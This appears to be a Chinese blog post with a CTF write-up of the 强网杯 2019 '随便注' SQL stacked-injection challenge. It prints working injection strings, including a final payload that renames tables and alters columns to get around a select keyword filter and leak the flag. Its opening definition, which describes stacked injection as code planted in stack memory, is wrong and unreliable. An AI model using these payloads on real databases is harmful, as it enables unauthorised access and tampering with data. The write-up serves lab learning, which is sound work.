当前位置: 首页 > news >正文

堆叠注入([强网杯 2019]随便注1)

详解:

堆叠注入(Stack Injection)是一种计算机安全概念,涉及攻击者向程序的堆栈内存中插入恶意代码,以便在程序执行期间执行非预期的操作。

堆栈注入攻击通常利用程序在处理函数调用时使用的堆栈机制。当一个函数被调用时,程序将在堆栈中为其分配内存以保存局部变量和返回地址。攻击者可以找到并修改这些堆栈中的值,将恶意代码插入到程序的执行流程中。

堆叠注入攻击通常需要攻击者对目标程序的运行环境和代码结构有一定的了解。攻击者可能需要了解目标程序的输入格式、函数调用方式和内存管理机制等方面的知识。

堆叠注入攻击具有很高的危害性,因为攻击者可以在程序执行期间执行任意代码,包括窃取敏感数据、破坏系统安全和破坏应用程序的正常运行。为了防止堆叠注入攻击,可以采取以下措施:

  • 对输入数据进行验证和过滤,确保输入符合预期格式,并防止恶意代码注入。
  • 使用安全的编程技巧,例如避免使用不安全的函数和避免将数据直接传递给系统调用。
  • 实施安全防护措施,例如使用防火墙、入侵检测系统和安全扫描工具来检测和防御堆叠注入攻击。
  • 对代码进行安全审计和漏洞分析,发现潜在的安全漏洞并进行修复。

测试:

1.输入1测试一下

2.用1'测试

有报错,说明用'闭合的闭合方式 同时可以确定有可能使用的是报错注入

3.select查询是否有过滤

发现过滤关键字("/select|update|delete|drop|insert|where|\./i")而且不区分大小写,发现select被过滤,联合查询,布尔,时间盲注,报错注入都不能用,只能使用堆叠注入

4.尝试使用堆叠注入,查询数据库

1'; show databases; #

5.查询表

1'; show tables; #

5.存在两张表,分别查询

1'; show columns from `words`; #
1'; show columns from `1919810931114514`; #

 注意`这个符号是转义符,表明这里面的是数据库里面的内容

在`1919810931114514`表中发现flag字段。

找到flag字段之后,怎么也查询不到flag字段中的数据,select被过滤,后面是参考大佬的做法

让程序中已经存在的select语法帮我们进行查询,把words改名为其他,191这个表改名为words,然后再添加id字段,将flag字段改为data。

先将 words 改为别的名字 比如 words2 或者其他
然后将 1919810931114514 改为 words
把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他。

直接构造payload

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100); #

6.表修改之后,再次查询表

修改成功

7.直接查询字段

http://www.lryc.cn/news/191709.html

相关文章:

  • 零基础Linux_15(基础IO_文件)软硬链接+动静态库详解
  • 计算机毕业设计选什么题目好?springboot 健身房管理系统
  • 两台linux 之间传输文件 (详细+bash脚本)
  • 嵌入式系统开发【深入浅出】 EXTI 与 NVIC
  • 【Kali】简单记录
  • 【数据结构】:队列的实现
  • 415. 字符串相加
  • 交通 | python网络爬虫:“多线程并行 + 多线程异步协程
  • LeetCode:1488. 避免洪水泛滥(2023.10.13 C++)
  • SpringBoot 时 jar 报错 没有主清单属性
  • C/S架构学习之多进程实现TCP并发服务器
  • VSCode 快速移动光标至行尾
  • ACP.复盘方法
  • Springboot 订餐管理系统idea开发mysql数据库web结构java编程计算机网页源码maven项目
  • 判断当前Activity是否有DialogFragment显示
  • 开发一个npm组件包(2)
  • 迅为RK3568开发板Scharr滤波器算子边缘检测
  • HJ86 求最大连续bit数
  • Grafana 10 新特性解读:体验与协作全面提升
  • Django实现音乐网站 ⒆
  • 20基于MATLAB的车牌识别算法,在环境较差的情景下,夜间识别度很差的车牌号码可以精确识别出具体结果,程序已调通,可直接替换自己的数据跑。
  • vue音频制作
  • 好莱坞编剧大罢工终于结束;与OpenAI创始人共进早餐;使用DALL-E 3制作绘本分享;生成式AI的基础设施架构 | ShowMeAI日报
  • buuctf week2-web-ez_sql
  • 实验2.1.2 交换机的常用配置
  • 功率放大器应用场景分析报告
  • 解决 Centos 安装 Python 3.10 的报错: Could not import runpy module
  • HTML5简介-HTML5 新增语义化标签-HTML5 新增多媒体标签
  • pyqt---子线程进行gui操作导致界面崩溃
  • vue-cli 输出的模板 html 文件使用条件语句